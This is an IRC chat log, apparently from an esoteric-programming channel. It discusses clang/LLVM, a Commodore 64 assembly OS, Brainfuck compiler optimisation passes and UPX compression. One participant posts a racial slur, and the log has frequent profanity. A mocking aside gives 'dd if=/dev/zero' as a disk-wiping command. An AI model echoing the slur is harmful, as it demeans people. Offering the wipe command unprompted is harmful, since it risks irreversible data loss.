sure about that 15:52:31 Is the kernel part of the base system? :P 15:52:32 Heh 15:52:38 but base applications 15:52:41 definitely 15:52:49 In my experience, compiling a kernel to a virtual machine is probably a fairly pointless task :P 15:52:55 So pcc is out then? ^^ 15:52:56 GregorR: LLVM fail. 15:52:59 It isn't a virtual machine, really. 15:53:00 what is clang 15:53:05 why is it betrter thasn ghcc 15:53:08 tombom: a c compiler 15:53:19 and because it's faster, cleaner and bsd-licensed 15:53:22 and because it builds on top of LLVM 15:53:29 ah cool 15:53:33 which is an intermediate "virtual machine" (notrly) that compiles to native code 15:53:42 (it can also do JITting, so you can turn your compiler into a REPL etc) 15:53:46 but doesn't gcc have better optimisations and stuff though 15:53:49 that wouldn't work for the kernel ofc :p 15:53:57 tombom: llvm's been developed by 2000 and is funded by Apple 15:54:01 ahhhh 15:54:01 it does advanced optimizations 15:54:03 and so does clan 15:54:03 g 15:54:08 i hadn't realised it had been around so long 15:54:08 although they're not totally production-ready yet 15:54:13 cool 15:54:15 e.g. clang's c++ support isn't really ready 15:54:35 yeah, it will be cool 15:54:52 well, apple does more than fund, really; it's practically Apple's project 15:55:02 due to a lot of Apple-employed developers 15:55:05 it's still technically independent though 15:55:08 -!- FireFly has joined. 15:55:21 hmm apparently apple started the clang projec 15:55:21 t 15:55:33 that'd explain the objective-c support 15:56:03 tombom: there's also gcc-llvm 15:56:10 which is gcc's frontend + llvm's backend; that should be pretty much rock solid 15:56:18 although you get a lot of the disadvantages of gcc 15:56:37 what are the disadvantages of gcc actually 15:57:21 (1) gcc's code sucks (2) so does its architecture (3) it's not all that fast optimizations-wise (4) GPL (5) apparently the team can be hard to work with; don't quote me on this 15:57:38 (6) tries to compile every language on the planet; this leads to mediocrity 15:58:01 tombom: apparently clang's error messages are miles better too 15:58:02 heh, that's reasonable 15:58:10 http://clang.llvm.org/diagnostics.html 15:58:25 looks nice, I didn't realise it was THAT good 15:59:08 $ clang -fsyntax-only t.cpp 15:59:08 t.cpp:12:7: error: incompatible type assigning 'vector', expected 'std::string' (aka 'class std::basic_string') 15:59:11 str = vec; 15:59:13 ^ ~~~ 15:59:21 i thought there was some technical reason for awful c++/stl template errors 15:59:33 i will now kill the g++ developers 16:01:26 GregorR: The LLVM developers are very helpful fixing most of the bugs we've reported (over 100). Unfortunately we are currently blocked on some bug reports that prevent us from building libc, libm, libcrypto and various CDDL libraries with Clang but the FreeBSD kernel itself compiles and boots. 16:01:30 so the kernel is built with it. 16:01:33 hot 16:02:01 >_O 16:02:03 That's ... confusing. 16:02:09 Doesn't it need to have a little bit of inline asm? 16:02:18 GregorR: Maybe it does? 16:02:23 Nothin' wrong with that. 16:02:27 GregorR: Protip: LLVM is not a "virtual machine" 16:02:30 It's not a VM as such 16:02:34 It's just a generic architechture 16:02:42 It still has plenty of machine-code like things 16:02:44 It's close to the machine 16:02:51 Right ... a generic architecture with its own assembly code variant ... 16:02:56 GregorR: Also, you can always compile the .s's separately 16:02:56 So i386 assembly code is presumably no go .... 16:02:59 and call into them from .c 16:03:00 'struth. 16:03:01 and who said that? 16:03:04 that's silly 16:03:09 it'll just only work on x86 16:03:49 http://wiki.freebsd.org/BuildingFreeBSDWithClang ← Yep, it does inline asm just fine 16:04:29 Huh 16:05:31 GregorR: http://www.llvm.org/docs/LangRef.html#inlineasm 16:05:40 THE MOAR YAU NAEO 16:05:57 wait 16:06:01 that's referring to llvm asm 16:06:02 hrm 16:06:08 Oh whatever :P 16:06:46 I was gonna say, seeing as that bswap is a link to one of their pages :P 16:07:29 yay, the "print" procedure of Codename CELF is done 16:07:38 as is putc and clrscr 16:07:44 now gotoxy :P 16:08:40 asiekierka: celf? 16:09:10 There should be a language based on n-tuples of niggers. 16:09:21 Er. 16:09:22 Or not. 16:09:24 ..................... 16:09:30 ... 16:09:48 * ehird hands Slereah the "Can't Think Of Anything To Say" medal 16:10:41 "Clever presentation, but a weak database: The soon-to-be-launched Wolfram Alpha search engine is already being touted as the "Google killer." SPIEGEL ONLINE has tested a preliminary version. The conclusion: It knows a lot about aspirin, a little about culture -- and it thinks German Chancellor Angela Merkel's political party is an airport. " 16:10:45 ehird: Codename CELF? It's my C64 pseudo-shell/OS 16:10:48 It isn't‽‽‽‽‽‽‽‽‽ 16:10:48 http://www.spiegel.de/international/zeitgeist/0,1518,624065,00.html 16:10:50 Progressing slowly but nicely 16:10:57 asiekierka: in asm I assume? 16:11:16 yup 16:11:28 Nice. 16:11:29 if I did it in C it would probably be up to loading a few drivers :DDD 16:11:31 Try and avoid spaghetti :-P 16:11:41 ehird: Oh, I forgot about comments 16:11:43 I should add some 16:11:50 to the ones that aren't quick to understand 16:11:52 asiekierka: Meh, just make sure you don't splutter over memory and registers :P 16:11:58 ehird: Making sure of it 16:12:01 asiekierka: How are you gonna handle memory allocation? 16:12:05 ehird: Not sure yet 16:12:11 Probably a list 16:12:13 You only have 64K, so that will be challenging 16:12:16 ehird: Yup 16:12:23 asiekierka: The list will take up a good amount of memory, though 16:12:28 ehird: Yup too 16:12:34 Maybe a slab allocator, asiekierka? 16:12:34 I plan to make it as small as possible 16:12:37 ehird: slab? 16:12:45 http://en.wikipedia.org/wiki/Slab_allocator 16:12:49 it should conserve memory 16:12:49 looking at it 16:12:55 and also the list size 16:13:26 Well, I will allocate the space of... $2000-$9000 to programs 16:13:32 That's not much at all. 16:13:43 28KB 16:13:43 I'd give almost all the memory to programs, and golf the kernel's data space. 16:13:52 I bet you could give the programs 50K 16:13:53 ehird: I can add a little more though 16:14:01 the kernel already has space from $0800-$2000 16:14:08 hmm 16:14:09 which is 6KB 16:14:14 and there is extra space left 16:14:24 asiekierka: Challenge: give the programs 56K or more. 16:14:29 ehird: Unpossible 16:14:33 You sure? 16:14:35 Because 8KB is taken up by the kernal 16:14:41 Yes... 16:14:44 and raw accessing of stuff via drivers will probably take more 16:14:44 And the rest is for programs. 16:14:50 ehird: What about the kernel? O_O 16:14:55 asiekierka: It gets 8K. 16:15:03 the KERNAL is not the kernel 16:15:05 the clang driver uses gcc for assembling and linking, we need to write FreeBSD ccc "hostinfo" so it can use as(1) and ld(1) directly (in progress). 16:15:06 Oh. 16:15:07 lawl 16:15:07 asiekierka, you should totally do this on x86. 16:15:08 the KERNAL is like a BIOS 16:15:19 i'm already turning off the BASIC rom full of crap 16:15:23 which gives me +8kb 16:15:27 asiekierka: hmm, okay, the kernel takes 8k 16:15:30 GregorR, why can't it just always use as and ld? 16:15:30 err 16:15:31 kernal 16:15:37 then the kernel/drivers take 8K 16:15:38 then there's a bunch of space for memory-mapped registery 16:15:41 that should be more than enough 16:15:42 I'm pretty sure that all GCC does is... Call as and ld. ;) 16:15:45 $D000-$FFFF i think 16:15:46 and gives the programs about 48K 16:15:47 pikhq: All as-es and ld's have different syntaxes. 16:15:54 pikhq: Whereas GCC has the same syntax on every platform. 16:15:55 asiekierka: a bit less than 48K should be doable 16:15:57 *Really*? 16:16:00 That is crazy. 16:16:05 ........... you didn't know that? :P 16:16:19 I figured they'd at least standardise on command-line syntax. 16:16:22 $0000-0800 is used by the screen/kernel 16:16:24 Hell, all ccs have different syntaxes, you're lucky to get "-c" and "-o" to mean the same thing. 16:16:24 pikhq: nope 16:16:31 it's binary format specifci a lot of the time 16:16:31 $0800-$BFFF is free 16:16:32 *specific 16:16:35 I don't go outside of GNU-land much. 16:16:39 then there's $C000-$CFFF, free again 16:16:43 then there's no more left 16:16:46 pikhq: None of us do ;) 16:16:47 asiekierka: how much does that get you? 16:16:52 GregorR: I do. 16:16:54 For good reason. 16:16:56 BSD kernel and userland! 16:16:57 ~50KB 16:17:01 so I think 40KB is doable 16:17:07 allocating 10kb for kernel/drivers 16:17:10 ehird, that's aboust as far out of GNU-land as anyone sane goes. 16:17:12 asiekierka: yep, should do 16:17:14 ehird: I will now mark all sarcastic lines with the tag [SARCASM] to remain clear [SARCASM] 16:17:23 Because BSD userland, though a tiny bit different, is at least *sane*. 16:17:24 remember I also plan to have a "vector map", so drivers can make their own ways of doing stuff 16:17:27 pikhq: it predates gnu-land, so it's pretty away. 16:17:27 like, hack "putc" 16:17:38 asiekierka: if your kernel turns out to use less in practice - say 8K - the programs can get more too 16:17:42 ehird: Yeah 16:17:43 It predates GNU-land, so it's pretty primitive >_> 16:17:43 GregorR: i know 16:17:48 Better than Solaris though. 16:17:48 pfft 16:17:49 but i also allocate this space for the maps 16:17:52 it's not primitive 16:17:53 it's just minimalist 16:18:03 Finefine. 16:18:09 GregorR: BSD userland has the advantage of implementing that primitive stuff well. 16:18:11 my "variable map" starts at $0880 16:18:13 If there's one thing the GNU userland is not, it's minimalistic. 16:18:17 it has all the vars and maps and stuff 16:18:18 Making it better than every other authentic UNIX. 16:18:20 ;) 16:18:23 then comes the kernel (after .align $10) 16:18:27 asiekierka: why do you have a notion of variables in asm? 16:18:38 ehird: well, text_x: .byte 0 16:18:40 text_y .byte 0 16:18:42 ehird: Asm itself does. 16:18:43 ah. 16:18:44 and text_c .byte 0 16:18:45 pikhq: Solaris is solid as a rock. The rock it will proceed to beat you over the head with if you're stupid enough to use it. 16:18:47 pikhq: well, sure 16:18:50 so I don't have spaghetti running all over 16:18:53 solaris makes me want to vomit 16:19:01 instead of $0880, i have text_x, etc. 16:19:02 asiekierka: i take back what i said about you not being able to code 16:19:11 GregorR: Solaris does have one saving grace. 16:19:12 ehird: I can send you the ASM code if you still don't believe i can code 16:19:13 :D 16:19:18 Sure :p 16:19:20 ok 16:19:20 Its userland is sufficient for installing a GNU one. 16:19:25 I'm surprised they haven't just replaced the userland with GNU in interactive shells :P 16:19:30 And you can install it with just a GNU userland these days. ;) 16:19:37 Whaaaa? You can? 16:19:44 OpenSolaris distros. 16:19:45 Oh, are you referring to Nexenta? 16:19:46 ;p 16:19:47 Ah 16:19:47 :P 16:19:50 Yeah. 16:20:13 Ever since Linux got the CFS, Solaris has no appreciable advantage. 16:20:18 asiekierka: i don't understand a thing about the code but it looks good 16:20:25 GregorR: One word. Zfs. 16:20:27 http://www.dailycupoftech.com/2009/05/04/the-geek-must-do-before-you-die-checklist/ This is a... Lame list. 16:20:38 God people go humpfest over ZFS. 16:20:41 add a third monitor? 16:20:42 lol. 16:20:45 GregorR: dtrace 16:20:53 anyone with >1 monitor is stupid ← generalization 16:20:57 ehird: That was the first thing ported to Linux. 16:21:08 Build a Linux Firewall? WHY. 16:21:10 ehird: I've got two monitors. 16:21:19 pikhq: Wow, that is a lame list. 16:21:20 I have a perfectly good firewall! It even runs Linux. 16:21:22 The second one is attached to my firewall/outer. 16:21:24 I have two too 16:21:30 "Carry a Computer Cleaning Arsenal on Your USB Drive" // only if you use lame-OS 16:21:30 and a tutu too 16:21:35 LOL 16:21:35 LOL 16:21:37 LOL 16:21:39 LOL 16:21:41 LOL 16:21:43 LOL 16:21:45 Build an HTML based Website using Notepad 16:21:47 ahahahahahhah 16:21:50 Wow. 16:22:00 "Bypass a Computer Password on All Major Operating Systems" 16:22:03 good luck doing that on a bsd 16:22:14 I did that... For my Geoshitties site before they got bought out by Yahoo!. 16:22:19 "Convert Cassette Tapes to Digital Audio Files" 16:22:28 "Crack a Wi-Fi Password" ← WPA2 Personal, bitch. 16:22:29 ehird: Yeah, seriously. *Really* good luck doing that on OpenBSD. 16:22:34 [16:21:45] (ehird): Build an HTML based Website using Notepad 16:22:36 ahahahahahaha 16:22:43 "Compile a Linux kernel". 16:22:44 "Create a Disposable E-Mail Account" 16:22:45 ... I was 12. 16:22:46 ehird: Make a C64 OS in 1 second 16:22:46 If you die without doing this 16:22:48 YOU HAVE FAILED LIFE 16:22:51 And had been using Slackware for 2 weeks. 16:22:51 that should be there 16:22:55 asiekierka: don 16:22:55 e 16:22:59 oh, wait 16:23:03 forgot to tell ya 16:23:11 the thing that I sent is nowhere near an OS 16:23:12 "Execute a shell script." 16:23:14 ... 16:23:16 asiekierka: i guessed 16:23:18 -!- MigoMipo has joined. 16:23:18 "Create a WordPress Plugin" 16:23:21 WORDPRESS?! 16:23:24 What a crock of shit. 16:23:32 I did that a tiny bit *before* I had installed Linux for the first time. 16:23:35 "Create Music with Keyboard" 16:23:40 (guess what Slackware's installer is) 16:23:49 "Download a Video from YouTube" 16:23:52 and it links to an automated shitsite to do that 16:23:56 "Create Music with Keyboard" 16:23:58 FILL OUT THIS FORM AND YOUR LIFE WILL BE COMPLETE 16:24:00 i guessed this was a joke 16:24:01 tombom: beat you to it 16:24:02 but no 16:24:04 what 16:24:09 this is horrible 16:24:10 Wow this list is lame. 16:24:11 "Download Wikipedia" 16:24:16 ...Including images. 16:24:25 "Learn the fastest way to kill a computer." 16:24:32 * pikhq brings out the Etherkiller. 16:24:33 :D 16:24:43 pikhq: Open this list, making you so pissed off you literally beat the shit out of it. 16:25:03 :-D 16:25:05 (Computers totally have shit) 16:25:08 39.Know Who Mulder and Scully Arehttp://en.wikipedia.org/wiki/Mulder_and_Scully_(song) 16:25:13 "Find a Website IP Address Without Web/CommandPrompt Access" 16:25:13 goddamn 16:25:17 tombom: :DDDDDD 16:25:24 this is the hilariestest thing ever 16:25:35 Irrecoverably Protect Datahttp://www.truecrypt.org/ 16:25:39 irrecoverably 16:25:45 encrypt = const 0 16:26:01 ha 16:26:22 Make Your Office Ergonomic 16:26:26 Permanently Delete Data on a Hard Drive 16:26:29 dd if=/dev/zero 16:26:33 Permanently Delete Your Facebook Account 16:26:35 now THAT i agree with 16:26:35 Permanently Delete Your Facebook Account 16:26:36 Permanently Delete Your Facebook Account 16:26:38 Permanently Delete Your Facebook Account 16:26:40 ~end of list~ 16:26:49 i was just going to mention that 16:26:56 "Read 1337 At Normal Speed" 16:27:10 "Recover Deleted Files" i like how this comes after telling you to remove them irreversably 16:27:31 50% of them are really pathetic and the other 50% are things nobody should care about 16:27:52 "Upload a Video to YouTube" 16:27:56 :D 16:28:08 "Run Multiple Computers with one Keyboard and Mouse" 16:28:19 Apparently I can't be a Geek 2.0 because I can't wear a leather wristband (wtf) 16:28:24 "Setup a Computer in the Cloud" 16:28:25 99.Use Bittorrent Effectivelyhttp://infinitium.blogspot.com/2005/03/js-essential-howto-guide-bittorrent.html 16:28:27 THE CLOUD OF CLOUDNESS 16:28:31 IT'S LIKE CLOUDS 16:28:33 BECAUSE IT IS THE INTERNET 16:28:39 web 4.0 16:28:47 web/cloud 9.0 16:28:48 geddit 16:29:02 Web 2.6.29 16:29:10 "Survive in a Linux Argument" 16:29:15 Most people die when arguing about Linux. 16:29:24 lol, it links to the old shitfest linux.com 16:29:58 i like how it's all computer related stuff and then blam 16:30:01 "Learn How to Hot Wire a Car" 16:30:16 tombom: Nowadays, that's computer related stuff ;) 16:30:58 "Understand What “There’s no Place Like 127.0.0.1″ Means" 16:31:06 "Unbrick a Smartphone" 16:31:09 IF SOMETHING'S BRICKED IT CAN'T BE FIXED 16:31:10 RETARDS 16:31:14 "Use a Camera in Manual Mode" 16:31:34 http://www.dailycupoftech.com/wp-content/uploads/2009/05/geek2.gif 16:31:43 Geek 1.0: Person who doesn't care about societal norms 16:31:47 Geek 2.0: Douchebaggius maximus 16:31:52 pretty much 16:32:00 Hah, exactly 16:32:13 And I can't accomplish that because I can't wear the leather wristband! 16:32:19 And besides that, I wear my phone on my wrist. 16:32:27 why not 16:32:40 well apart from the fact it makes you look like a pillock 16:33:04 I'm allergic to leather. 16:33:14 :o ah 16:33:22 So pillock + welts all over my arm = an interesting look :P 16:33:46 it's unique, at least 16:33:50 ... "Use a camera in manual mode"... 16:34:02 I didn't know using an SLR was hard. 16:34:02 Or geeky. 16:34:16 pikhq: BOW DOWN BEFORE TECHNOLOGY :P 16:34:27 * pikhq beats GregorR with his SLR 16:34:42 * pikhq then hits the darkroom to see what interesting shots were made from the above process 16:35:07 You have an ANALOG camera? D-8 16:35:43 I also possess a digital SLR. 16:36:11 I also possess a digital SLURPY. 16:36:18 (And with that, I disapperate) 16:37:50 And the image below the list... 16:38:31 Y'know, D&D is still a somewhat common geek pastime... 16:38:34 hm 16:39:00 running the optimiser passes recursively until nothing changes might not have been the best possible idea... 16:39:19 LMAO 16:39:39 I think it ran all the passes around 50 times or so for lostkingBF 16:39:47 Damn. 16:40:09 And what sort of improvement did you make for Lost Kingdom? 16:40:12 without the shifting pass it just makes 5 passes 16:40:32 pikhq, esotope-bfc is the best compiler currently. Mine is doing basic stuff 16:40:40 Hmm. 16:40:53 I thought that you were producing optimised Brainfuck, BTW. ;) 16:41:13 in this case the pass was changing "add > add" into "add add:offset=1 >" 16:41:24 as well as sorting by offset 16:42:08 to allow more combining for stuff like ++>-<+, with the offset thing you would get add:2 add:-1:offset:1 add:1 16:42:27 but then it also sorts it so the combiner pass can combine the first and the last add 16:42:50 pikhq, and I am. Just not aiming for the level that esotope-bfc is on 16:43:22 There's a limited amount of stuff that you can optimise in Brainfuck when you're outputting Brainfuck. 16:43:23 since it can optimise that hello world program on the wiki into a single PUTS("Hello, World!"); 16:43:26 without special casing 16:43:39 So I assume the fanciest thing you can do is dead-code elimination. 16:43:41 pikhq, I'm not outputting BF 16:43:51 I'm output-agnostic 16:43:54 "Producing optimised Brainfuck" 16:43:54 so far I have a C backend 16:44:03 but you could write a BF one too 16:44:09 Oh, so you're setting it up so you can *have* a Brainfuck backend. 16:44:12 Gotcha. 16:44:32 pikhq, in fact I'm setting it up so I can have a Erlang backend, a Scheme backend, a C backend and possibly a BF backend. 16:44:36 plus a lot of other ones 16:44:49 and I'm doing semi-plugin-like optimiser 16:44:58 each pass is in a separate module 16:45:29 the main optimiser routine has a list of optimiser modules (could be changed to enumerate them on the file system I guess), and calls them 16:45:53 * pikhq checks out esotope-bfc 16:45:54 and after calling all once it checks if the parse tree is the same or not, if not it runs them all again 16:46:28 pikhq, http://rafb.net/p/ZilcqJ72.html 16:47:02 ib_opt_cleanup is rather silly. It handles the "add 0" sometimes produced by the combiner 16:47:11 like +- will result in "add 0" :D 16:47:28 probably no real BF code contains that. 16:48:20 "real" meaning "not a test suite for an optimiser, and not written by an idiot, and not auto generated by !bf_txtgen". 16:48:29 !bf_txtgen foo 16:48:32 Some generated BF code contains it... 16:48:35 49 ++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. [239] 16:48:40 that contains >><< 16:48:52 PEBBLE generated code could generate it, except that I have an optimising pass. 16:48:54 though in that case the other <<< would swallow that move 0 16:48:59 Which eliminates dead code. :) 16:49:18 err the other << 16:49:19 rather 16:50:03 hm, might be interesting to add a BF backend in fact. See how much better it makes LostKingBF 16:50:15 however it would be kind of a pain 16:50:17 Yeah. 16:50:34 since the initial "add" at start of the program will get turned into "set" in my next pass 16:50:46 since memory starts out as 0 16:51:17 then that backend needs to change [-]+ into "+" for example at start of program 16:51:26 hm 16:51:44 I'm not sure what is the best way to handle "assume 0 at start of program" 16:52:07 I mean, I need to keep track of somehow of balanced loops near the start and so on 16:52:14 tracking values of cells as far as possible 16:53:09 maybe I should have a loop analyser pass that somehow marks loops as balanced... 17:00:12 Well, seems that esotope-bfc doesn't fully handle string optimisation right... 17:00:19 There's a lot of PUTCs in LostKng. 17:00:45 PUTC? 17:00:46 oh 17:00:48 Put Char 17:01:52 *Oh*. Because when it gets to the things it PUTCs, it isn't sure of the value of the cell. 17:01:55 ;) 17:02:59 pikhq, It isn't always possible to figure that out 17:03:07 consider ,[.,] for example :P 17:05:20 bYeah. 17:06:15 you should compile that into a symlink to cat 17:06:41 Hah :P 17:06:47 -!- ais523 has joined. 17:06:52 Except that cat will happily cat things that contain nulls. 17:06:56 Whereas that will fail. 17:07:07 nulls are tasty 17:07:11 if you're a feline, anyway 17:09:33 heh 17:10:00 Asztal, doing that would be insane AND incorrect as GregorR showed. 17:10:04 [Opt] Did 75 passes in total. 17:10:07 not 50 17:10:10 I underestimated 17:10:12 pikhq, ^ 17:10:33 Heh. 17:10:50 * AnMaster tries rearranging the passes to see if it helps to have the set pass first 17:11:07 nop. still 75 passes 17:11:52 however, it was a bit faster. 17:12:06 I guess it was due to less loops to descend in. 17:12:55 Public service announcement: asiekierka can in fact code. 17:13:05 ehird, [citation needed] 17:13:32 AnMaster: I'm talking with him about a (non-cooperative) multitasking OS for the c64. 17:13:42 And he's written a bit of c64 asm for it. 17:13:49 ehird, "a bit" 17:13:53 how much of it? 17:14:16 AnMaster: divmod, putc, puts, gotoxy, and a simple "main" routine 17:14:16 AnMaster: It has enough to print "hello world" to the screen; which is a lot considering the fussy C64 graphics memory. 17:14:23 um 17:14:27 well 17:14:29 asiekierka, what about the multi-tasking bit? 17:14:29 And he's figured out how to do multitasking. 17:14:30 there's text mode 17:14:32 which is not fussy 17:14:37 AnMaster: he hasn't written it yet 17:14:43 we're still discussing how best to copy the stack etc 17:14:44 AnMaster: I can't even run a SINGLE PROCESS 17:14:48 let alone MULTIPLE 17:14:56 asiekierka, that was what I expected! 17:15:02 well 17:15:06 i'm too early in the stage 17:15:30 Also, I sometimes utilize a little bit of self-modifying code 17:15:32 AnMaster: you're being a jerk 17:15:34 for example, to input addresses 17:15:47 you just started writing an OS and it can't run multiple processes on a 1mhz computer with 64k of ram and no multitasking support? 17:15:47 gcc -OS optimised LostKng is 624K... 17:15:49 HA! you can't code! 17:16:24 well 17:16:24 * pikhq observes that multitasking is hard 17:16:34 I started writing that OS and it has enough to input some text 17:16:36 oh wait 17:16:40 I forgot to do newlines! 17:16:43 OH NOOOOOOOOOOOOOOOOO *dead* 17:16:47 :p 17:16:52 bsmntbombgirl: how goes your compy shippy 17:17:04 augh 17:17:06 17:16 AnMaster: he knows how to program a bit yes. He just doesn't know HOW he should program to solve a specific issue. I remember him saying he couldn't implement DOBELA himself due to having no idea how to do a sparse array. 17:17:16 * ehird has full disclosure policy on /msgs :} 17:17:26 well, I'm working in assembly 17:17:43 asiekierka: i think ignoring AnMaster until he writes a multitasking OS for the c64 is a good policy 17:17:48 ehird, see /msg 17:17:49 17:17 AnMaster: he is kind of like I was back when I coded in Pascal. I could code, but I didn't know how to code non-trivial stuff. 17:17:51 Yup :P 17:17:54 17:17 GregorR: HA HA EHIRD IS A RETARD (full disclosure policy?) 17:18:01 Hmmmmmmmmm 17:18:02 ehird, fine with you 17:18:03 I seeeeeeeeeeee 17:18:05 with me* 17:18:10 also, a newline would need to be a weird char 17:18:14 i have that problem, how do i learn ebtter 17:18:14 as chars 1-26 are text 17:18:22 asiekierka: doesn't the c64 have graphical chars? 17:18:26 yes it does 17:18:28 In other words, asiekierka should code more. 17:18:28 but i want to use them 17:18:33 asiekierka: what's char 0? 17:18:36 And possibly work on a CS degree. 17:18:40 It's "@" 17:18:44 hmmmmm 17:18:46 What a weird place to put @# 17:18:48 *@ 17:18:48 asiekierka: what's char 255 17:18:56 anyway it isn't strange, you first learn how to write code. Then you learn HOW to program. 17:18:56 GregorR: C64. ;) 17:19:00 they are different things 17:19:06 chars 128-255 are reversed images of chars 0-127 17:19:08 AnMaster: get off your high horse :) 17:19:16 char 127 is 17:19:17 asiekierka: what you're saying is, there's no space in a byte for a newline 17:19:17 ## 17:19:19 ## 17:19:19 ## 17:19:20 ## 17:19:29 asiekierka: have newline be a separate procedure 17:19:33 Puts("Hello, world!"); Newline 17:19:43 ehird, just speaking out of own experience. For example would you say SICP is about how to write code, or how to program? 17:19:50 I'd say it is about the latter. 17:19:53 AnMaster: asiekierka can program 17:20:05 ehird, yes. Better now than before. 17:20:07 done 17:20:15 the newline is ready 17:20:27 it's pha, lda #$00, sta text_x, inc text_y, pla, rts 17:20:44 * pikhq observes that he needs more RAM... 17:20:52 pikhq: asiekierka's working with 64k 17:20:52 :p 17:20:55 When you start getting swap-bound compilation, you need more RAM. 17:20:58 * AnMaster wonders how large the generated BF for LostKing would be with NO optimisation. 17:20:58 asiekierka: that reminds me of 6502 asm 17:21:03 ais523: that's cuz it is 17:21:05 ah 17:21:10 AnMaster: Huge. 17:21:10 ais523: he's writing a multitasking OS for the C64 17:21:24 Isn't there already ... lunix or something. 17:21:32 GregorR: Yeah 17:21:37 GregorR: And Contiki. 17:21:47 pikhq, sure. But even with just combining ++ -- >>> and so on it is much less than the original program source. 17:21:50 Which has a per-process overhead measured in bytes. 17:21:53 ;) 17:21:57 Still, I'm not sure anyone's done multitasking the way we have 17:21:59 AnMaster: Yesh. 17:22:10 ehird: That way being? 17:22:23 "Preemptive multitasking (up to 32 tasks, 7 priorities)" Do you need 7 priorities with a max of 32 tasks? :P 17:22:27 pikhq: Set up a timer on a clock for 0.small seconds. 17:22:38 pikhq: Then, when it sets off, find the process that's been ran the last 17:22:39 as in 17:22:45 the process that's had the longest time without executing 17:22:50 to suspend a process, we do the pretty normal thing 17:22:53 copy registers, copy stack 17:22:58 and the obvious thing to resume 17:23:01 the shift pass reduces it from 1.3 MB to 958K btw 17:23:03 but I'm not sure the others use a timer 17:23:08 That's a rather normal multitasking method. 17:23:36 on non-c64, sure 17:23:36 well, I could program for LUnix 17:23:55 I don't think it's done often on a C64. 17:23:59 exactly 17:24:03 pikhq: Well, LUnix has multitasking 17:24:05 and it has source 17:24:07 C64's timer does interrupts? 17:24:14 pikhq: Yes 17:24:14 not as much fun to read other OS's source 17:24:17 well 17:24:21 I just want to check it out 17:24:30 asiekierka: Contiki preempts whenever a process makes a blocking call. 17:24:31 ;) 17:24:33 just don't copy any code; license issues. 17:24:38 pikhq: see, that's lame 17:24:50 It's meant to run on microcontrollers. 17:24:52 ours can multitask when it's doing scientific computation or whatever ;-) 17:24:55 ehird: Dude, it's from 1997 17:25:06 asiekierka: it's lame to copy other OS's code anyway :P 17:25:16 long-term goal is multiple graphical apps running at once, although that'll be sloow 17:25:39 BTW, LostKng with gcc -O2 -m32 is 564K. 17:25:42 pikhq, as well as timer? 17:25:47 That's a 60 kilobyte savings. 17:25:48 pikhq, what optimiser 17:25:51 :/ 17:26:07 esotope-bfc. 17:26:07 esotope? 17:26:08 ah 17:26:22 s/-O2/-Os/... 17:26:26 I haven't dared compiling the generated lostkingdom! 17:26:41 what about -o3 17:26:45 It uses up quite a bit of RAM. 17:26:50 tombom, then the output file is called 3 17:26:51 :P 17:26:54 tombom: I don't have the RAM for that. 17:26:56 -O3 runs forevr 17:26:58 http://hld.c64.org/poldi/lunix/lunshots.html 17:26:59 *forever 17:27:05 on lostkng.b esotoped 17:27:09 um. That wasn't what he said though 17:27:13 he said -o3 not -O3 17:27:14 :P 17:27:35 clever 17:27:47 -!- BeholdMyGlory has joined. 17:27:56 ./3 17:28:46 Nice thing about this compiled LostKng... 17:28:51 strings does something! 17:29:02 http://hld.c64.org/poldi/lunix/lunshots.html <-- "comments"? 17:29:05 pikhq: :-D 17:29:08 i don't know 17:29:20 AnMaster: french guy, I think 17:29:24 it means "help" 17:29:25 But I think i'm not exactly the person that should do an OS 17:29:31 asiekierka: are you giving up on celf? 17:29:31 :< 17:29:36 * ehird stab 17:29:39 ehird, like "do you want help"? 17:29:40 ehird: Probably not 17:29:42 but it's hard! 17:29:44 AnMaster: yes 17:29:48 asiekierka: no shit sherlock :-P 17:29:51 i may learn c64 asm. 17:30:17 why 17:30:21 to code on celf? 17:30:27 pikhq, what is the size of the source for that lostking. 17:30:29 the C source 17:31:00 oh# 17:31:43 684K. 17:32:00 Yeah, it's smaller than LostKng.b 17:32:02 ;) 17:32:14 Can has upx? 17:32:26 GregorR: Will install it. 17:35:20 ... Gentoo installs a binary package for upx. 17:35:23 *Why*?!? 17:35:37 Hm, UPX can pack but not unpack an already-compressed version of that linux kernel. That makes "sense" 17:35:46 * AnMaster ponders parallel code generator 17:36:08 basically threads handling sub-trees + mapreduce 17:36:13 simple, and boring 17:36:16 pikhq: 17:36:16 UPX uses the NRV compression library for compression services. A compatible but somewhat less efficient OpenSource implementation is available through the UCL compression library. 17:36:31 It must be supplying the proprietary (read: lame) NRV version instead of the UCL version. 17:36:40 Ah. 17:37:05 And, yeah, what UPX does to compress the Linux kernel is kinda interesting... 17:37:21 You see, the Linux kernel includes a decompression routine that a bootloader jumps to. 17:37:39 UPX decompresses the compressed bits, compresses them again, and inserts its own compression stub. 17:38:28 UPX'd, it's 48K. 17:38:30 *48K*. 17:38:35 Pretty. 17:41:19 wow 17:41:21 pikhq: is that slow? 17:41:27 to run 17:41:30 Actually, lemme try upx --lzma --ultra-brute 17:41:31 ehird: No. 17:41:38 so why isn't it standard 17:42:02 Because it has some disadvantages, like not sharing common segments in memory. 17:43:47 44K if I use --lzma --ultra-brute. 17:44:03 And decompression time is not noticable. 17:45:40 * pikhq statically links it just for the hell of it; let's see how feasible it is to get LostKingdom on a floppy 17:45:56 UPX supports "TMT/Adam" as a binary format. So I looked it up and the UPX page says it's a Pascal compiler, and links to tmt.com for information. "TMT offers products for the taphole area at blast furnaces or reduction furnaces. Through the application of TMT measuring technology the blast furnace process can be optimized." 17:46:11 :-D 17:46:19 Those blast furnaces are powered by Pascal. 17:47:19 ehird: With any luck, I should be able to run LostKingdom from a 5 1/4" floppy. 17:47:31 pikhq: On a C64? 17:47:31 (assuming the kernel itself is somewhat UPX-able. ;)) 17:47:42 GregorR: No, that would take a bit more work. 17:47:56 Like compiling this to a C64 binary. 17:48:03 ... And having more than 64K RAM. 17:48:15 You see, UPX decompresses the whole thing to memory. 17:48:19 pikhq: Does Lost Kingdom really use more than 30000 cells 17:48:28 asiekierka: No. 17:48:39 you can use a 1581 17:48:40 The binary itself is more than 64K, though. ;) 17:48:44 which has DD diskettes 17:48:48 pikhq: just load the binary incrementally 17:48:52 load one block, add code to load the next at the end 17:48:54 jump 17:48:59 That involves more work. 17:49:04 Like I said. 17:49:12 Well, yes. 17:49:29 I didn't say it was impossible; the C64 is a perfectly capable system, after all. 17:49:51 The binary would probably benefit from 16-bit pointers, though. 17:52:15 you can use 16-bit pointers 17:52:18 via self-modifying code 17:52:19 * pikhq wishes GCC would 